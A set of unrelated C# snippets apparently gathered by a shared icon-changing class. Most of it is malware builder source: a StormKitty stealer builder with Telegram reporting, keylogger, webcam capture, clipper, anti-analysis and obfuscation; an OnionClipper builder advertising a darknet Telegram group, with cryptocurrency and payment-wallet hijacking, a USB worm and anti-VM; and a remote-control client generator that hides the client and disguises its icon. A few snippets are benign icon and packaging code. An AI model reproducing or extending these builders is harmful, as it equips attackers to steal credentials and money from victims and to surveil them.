static void Main(string[] args) { // Settings string token = cli.GetStringValue("Telegram API token"); string chatid = cli.GetStringValue("Telegram chat ID"); // Test connection to telegram API if (!telegram.SendMessage("✅ *StormKitty* builder connected successfully!", token, chatid)) { cli.ShowError("Failed connect to telegram bot api!"); } else { cli.ShowSuccess("Connected successfully!\n"); } // Encrypt values build.ConfigValues["Telegram API"] = crypt.EncryptConfig(token); build.ConfigValues["Telegram ID"] = crypt.EncryptConfig(chatid); // Installation build.ConfigValues["AntiAnalysis"] = cli.GetBoolValue("Use anti analysis?"); build.ConfigValues["Startup"] = cli.GetBoolValue("Install autorun?"); build.ConfigValues["StartDelay"] = cli.GetBoolValue("Use random start delay?"); // Modules if (build.ConfigValues["Startup"].Equals("1")) { build.ConfigValues["WebcamScreenshot"] = cli.GetBoolValue("Create webcam screenshots?"); build.ConfigValues["Keylogger"] = cli.GetBoolValue("Install keylogger?"); build.ConfigValues["Clipper"] = cli.GetBoolValue("Install clipper?"); } // Clipper addresses if (build.ConfigValues["Clipper"].Equals("1")) { build.ConfigValues["ClipperBTC"] = cli.GetEncryptedString("Clipper : Your bitcoin address"); build.ConfigValues["ClipperETH"] = cli.GetEncryptedString("Clipper : Your etherium address"); build.ConfigValues["ClipperXMR"] = cli.GetEncryptedString("Clipper : Your monero address"); build.ConfigValues["ClipperXRP"] = cli.GetEncryptedString("Clipper : Your ripple address"); build.ConfigValues["ClipperLTC"] = cli.GetEncryptedString("Clipper : Your litecoin address"); build.ConfigValues["ClipperBCH"] = cli.GetEncryptedString("Clipper : Your bitcoin cash address"); } // Build string builded = build.BuildStub(); string confuzed = obfuscation.Obfuscate(builded); // Select icon if (System.IO.Directory.Exists("icons")) { if (cli.GetBoolValue("Do you want change file icon?") == "1") { string icon = cli.GetIconPath(); if (icon != null) { IconChanger.InjectIcon(confuzed, icon); } } } // Done cli.ShowSuccess("Obfuscated stub: " + confuzed + " saved."); Console.ReadLine(); }
public ICResult ChangeIcon(string exeFilePath, string iconFilePath) { using (FileStream fs = new FileStream(iconFilePath, FileMode.Open, FileAccess.Read)) { var reader = new IconReader(fs); var iconChanger = new IconChanger(); return(iconChanger.ChangeIcon(exeFilePath, reader.Icons)); } }
public TrayIcon(IconChanger iconChanger) { _iconState = new MicIcon.Startup(); IconChanger += iconChanger; _animationTimer = new Timer(); _animationTimer.Interval = 2000; _animationTimer.Tick += SetCurrentIcon; _animationTimer.Enabled = true; }
/// <summary> /// Copy selected files /// </summary> private static void copy_module_file() { foreach (string module_path in bset.module_path) { if (module_path.ToLower().StartsWith(bset.python_lib_path.ToLower())) { // Python's base library files only. copy_folder_ex(bset.python_lib_path, module_path, bset.tmp_module_path, @"\lib"); } else if (module_path.ToLower().StartsWith(bset.python_path.ToLower())) { // Python's base library folders only. (ex: \site-packages) copy_folder_ex(bset.python_path, module_path, bset.tmp_module_path); } else if (module_path.StartsWith(bset.source_folder_path)) { // Current directory's module files only. copy_folder_ex(bset.source_folder_path, module_path, bset.tmp_module_path); } else { // pkg_resources and Eggs module files only. copy_folder_ex("", module_path, bset.tmp_module_path, "", true); } } // python binary icon change try { if (bset.icon_path != "") { IconChanger icon_change = new IconChanger(); var r = icon_change.ChangeIcon(bset.tmp_module_path + @"\" + Path.GetFileName(bset.default_python_bin), bset.icon_path); r.ToString(); } } catch (Exception ex) { Console.WriteLine("[-] Could not change the python binary icon\r\n[!] " + ex.Message + "\r\n"); } }
private static void start_merge() { try { using (FileStream fs = new FileStream(mset.output_path, FileMode.Create, FileAccess.Write)) { if (!mset.onefile) { fs.Write(Properties.Resource.Application_f, 0, Properties.Resource.Application_f.Length); } else if (mset.use_cache) { fs.Write(Properties.Resource.Application, 0, Properties.Resource.Application.Length); } else { fs.Write(Properties.Resource.Application_, 0, Properties.Resource.Application_.Length); } } try { if (mset.icon_path != "") { IconChanger icon_change = new IconChanger(); icon_change.ChangeIcon(mset.output_path, mset.icon_path); } } catch (Exception ex) { Console.WriteLine("[!] Could not change the binary icon: " + ex.Message); } // Start merging if (mset.onefile) { byte[] before_data = null; using (FileStream fs = new FileStream(mset.output_path, FileMode.Open, FileAccess.Read)) { before_data = new byte[fs.Length]; fs.Read(before_data, 0, (int)fs.Length); } using (FileStream fs = new FileStream(mset.output_path, FileMode.Create, FileAccess.Write)) { // Write all bytes fs.Write(before_data, 0, before_data.Length); FileStream fsm = new FileStream(mset.src_zip, FileMode.Open, FileAccess.Read); byte[] zip_bytes = new byte[fsm.Length]; // Build header byte[] start_path = build_header(); fsm.Read(zip_bytes, 0, (int)fsm.Length); fs.Write(zip_bytes, 0, zip_bytes.Length); fs.Write(start_path, 0, start_path.Length); fsm.Close(); } } else { byte[] before_data = null; using (FileStream fs = new FileStream(mset.output_path, FileMode.Open, FileAccess.Read)) { before_data = new byte[fs.Length]; fs.Read(before_data, 0, (int)fs.Length); } using (FileStream fs = new FileStream(mset.output_path, FileMode.Create, FileAccess.Write)) { // Write all bytes fs.Write(before_data, 0, before_data.Length); // Build header byte[] header = build_header(); fs.Write(header, 0, header.Length); } } } catch (Exception ex) { Console.WriteLine("\r\n[-] Failed to merge Application-file and ZIP-file"); Console.WriteLine("[!] " + ex.Message); throw new StartMergeError(""); } // Set time try { File.SetCreationTime(mset.output_path, DateTime.Now); File.SetLastAccessTime(mset.output_path, DateTime.Now); } catch { } }
static void Main(string[] args) { Console.Title = "OnionClipper Builder"; cli.ShowInfo("OnionClipper coded by Megavolt"); cli.ShowInfo("t.me/DOLFX - TOP GROUP IT DARKNET"); cli.ShowInfo("t.me/DOLFX - TOP GROUP IT DARKNET"); cli.ShowInfo("t.me/DOLFX - TOP GROUP IT DARKNET"); cli.ShowInfo("Telegram Author- t.me/megavoltcoder"); build.ConfigValues["logger"] = cli.GetBoolValue("Install IPLogger?"); if (build.ConfigValues["logger"].Equals("1")) { build.ConfigValues["IPL"] = cli.GetEncryptedString("Your IPLogger address?"); } build.ConfigValues["BTC"] = cli.GetEncryptedString("Your BTC address? 375JsTNEJ6p5DkeTPzdc67i8agkKxCxhji"); build.ConfigValues["Etherium"] = cli.GetEncryptedString("Your Etherium address? 0x********************************"); build.ConfigValues["LiteCoin"] = cli.GetEncryptedString("Your LiteCoin address? L*******************************"); build.ConfigValues["Monero"] = cli.GetEncryptedString("Your Monero address? 8********************************"); build.ConfigValues["SBER"] = cli.GetEncryptedString("Your SBERBANK visa card? 4274000000000000"); build.ConfigValues["MSB"] = cli.GetEncryptedString("Your SBERBANK mastercard card? 5469000000000000"); build.ConfigValues["QIWIC"] = cli.GetEncryptedString("Your QIWI card? 5469000000000000"); // Encrypt values build.ConfigValues["QIWI"] = cli.GetEncryptedString("Your QIWI? 79006666666"); build.ConfigValues["YANDEXMONEY"] = cli.GetEncryptedString("Your YANDEX MONEY? 41001151267747"); build.ConfigValues["MEGAD"] = cli.GetEncryptedString("Your MEGADISK? https://example.com/"); build.ConfigValues["STEAM"] = cli.GetEncryptedString("Your STEAM? https://example.com/"); build.ConfigValues["YDISK"] = cli.GetEncryptedString("Your YANDEXDISK? https://example.com/"); build.ConfigValues["DONAT"] = cli.GetEncryptedString("Your DONAT? https://example.com/"); build.ConfigValues["QIWIKOP"] = cli.GetEncryptedString("Your QIWI KOP? https://example.com/"); build.ConfigValues["QIWINIK"] = cli.GetEncryptedString("Your QIWI NICK? https://example.com/"); build.ConfigValues["PAYER"] = cli.GetEncryptedString("Your PAYEER? P1026*****"); build.ConfigValues["WMR"] = cli.GetEncryptedString("Your WMR? R6566566*******"); build.ConfigValues["WMZ"] = cli.GetEncryptedString("Your WMZ? Z5675674*******"); build.ConfigValues["WMX"] = cli.GetEncryptedString("Your WMX? X5447897*******"); build.ConfigValues["WMU"] = cli.GetEncryptedString("Your WMU? U4765896*******"); build.ConfigValues["Infectionusb"] = cli.GetBoolValue("Enable USB WORM?"); build.ConfigValues["antivm"] = cli.GetBoolValue("Enable ANTIVM?"); build.ConfigValues["dotmemory"] = cli.GetBoolValue("Enable DOTMEMORY?"); // Installation // build.ConfigValues["AntiAnalysis"] = cli.GetBoolValue("Use anti analysis?"); // build.ConfigValues["Startup"] = cli.GetBoolValue("Install autorun?"); // build.ConfigValues["StartDelay"] = cli.GetBoolValue("Use random start delay?"); // File grabber // Build string builded = build.BuildStub(); string confuzed = obfuscation.Obfuscate(builded); // Select icon if (System.IO.Directory.Exists("icons")) { if (cli.GetBoolValue("Do you want change file icon?") == "1") { string icon = cli.GetIconPath(); if (icon != null) { IconChanger.InjectIcon(confuzed, icon); } } } // Done cli.ShowSuccess("Obfuscated stub: " + confuzed + " saved."); Console.ReadLine(); }
private void buttonGenClient_Click(object sender, EventArgs e) { string serverIP = this.textBoxServerIP.Text.Trim(); string serverPort = this.textBoxServerPort.Text.Trim(); int serverPortNum; if (!int.TryParse(serverPort, out serverPortNum)) { return; } if (string.IsNullOrWhiteSpace(this.textBoxServiceName.Text)) { return; } string serviceName = this.textBoxServiceName.Text.Trim(); string avatar = this.pictureBoxAvatar.Tag.ToString(); bool showOriginalFilename = this.checkBoxShowOriginalFileName.Checked; // 保存配置 this.buttonSaveServerSetting.PerformClick(); SaveFileDialog dialog = new SaveFileDialog(); dialog.Filter = "可执行程序(*.exe)|*.exe|所有文件(*.*)|*.*"; dialog.FilterIndex = 1; dialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); if (dialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) { ClientParameters para = new ClientParameters(); para.SetServerIP(serverIP); para.ServerPort = serverPortNum; para.ServiceName = serviceName; para.OnlineAvatar = avatar; byte[] fileBytes = null; if (System.IO.File.Exists("RemoteControl.Client.dat")) { // 读取本地文件 fileBytes = System.IO.File.ReadAllBytes("RemoteControl.Client.dat"); } else { MsgBox.Info("RemoteControl.Client.dat文件丢失!"); return; // 读取资源文件 //fileBytes = ResUtil.GetResFileData("RemoteControl.Client.dat"); } // 拷贝文件 System.IO.File.WriteAllBytes(dialog.FileName, fileBytes); // 修改图标 if (this.checkBoxAppIcon.Checked && this.pictureBoxAppIcon.Tag != null && System.IO.File.Exists(this.pictureBoxAppIcon.Tag.ToString())) { IconChanger.ChangeIcon(dialog.FileName, this.pictureBoxAppIcon.Tag as string); } fileBytes = System.IO.File.ReadAllBytes(dialog.FileName); // 修改启动模式 ClientParametersManager.WriteClientStyle(fileBytes, this.checkBoxHideClient.Checked ? ClientParametersManager.ClientStyle.Hidden : ClientParametersManager.ClientStyle.Normal); if (!showOriginalFilename) { // 隐藏原始文件名 ClientParametersManager.HideOriginalFilename(fileBytes); } // 修改参数 ClientParametersManager.WriteParameters(fileBytes, dialog.FileName, para); MsgBox.Info("客户端生成成功!"); } }
private void SetIcon() { IconChanger?.Invoke(_iconState.NextIcon); }